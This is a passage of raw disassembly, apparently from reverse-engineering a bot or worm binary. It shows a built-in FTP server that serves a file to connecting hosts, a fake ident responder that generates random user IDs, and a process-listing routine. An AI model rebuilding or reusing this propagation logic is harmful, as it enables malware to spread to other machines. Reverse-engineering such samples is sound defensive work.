[esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44401C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444010 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444008 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_443FFC lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472A7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6ECB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44767F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6ECB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6ECB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E74 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DE8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44767F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call near ptr byte_5EA1BD mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DE8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp push esi call near ptr 71AB9639h nop lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 2830000h loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E74 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax call near ptr 71AB9639h nop loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6EC9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472AB xor ebx, ebx cmp cl, bl mov byte_4E6EC9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi cdq mov ecx, 3 push offset byte_446F60 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call near ptr byte_5EA1BD add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp call near ptr 71AB428Ah nop mov esi, dword_50FC88 push ebp call esi lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi mov byte_4E6EC9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 2830000h jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB58 mov dword_50BB3C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB58 mov dword_50BB3C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB58 xor eax, eax mov dword_50BB44, eax mov dword_50BB3C, 1 mov dword_50BB4C, eax mov dword_50BB50, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB5C push offset dword_50BB38 push eax mov dword_50BB3C, 4 nop call near ptr 28F07D3h retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44793F mov dword_50BB38, 20h mov dword_50BB3C, 2 mov dword_50BB40, 3 mov dword_50BB44, esi mov dword_50BB48, esi mov dword_50BB4C, esi mov dword_50BB50, esi call sub_4017E4 push eax nop call near ptr 28F0416h cmp eax, esi mov dword_50BB5C, eax jz short loc_41FBAA push offset dword_50BB38 push eax mov dword_50BB3C, 4 mov dword_50BB4C, esi mov dword_50BB50, esi nop call near ptr 28F07D3h loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB58, ecx push 100h mov ecx, offset byte_44793F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov 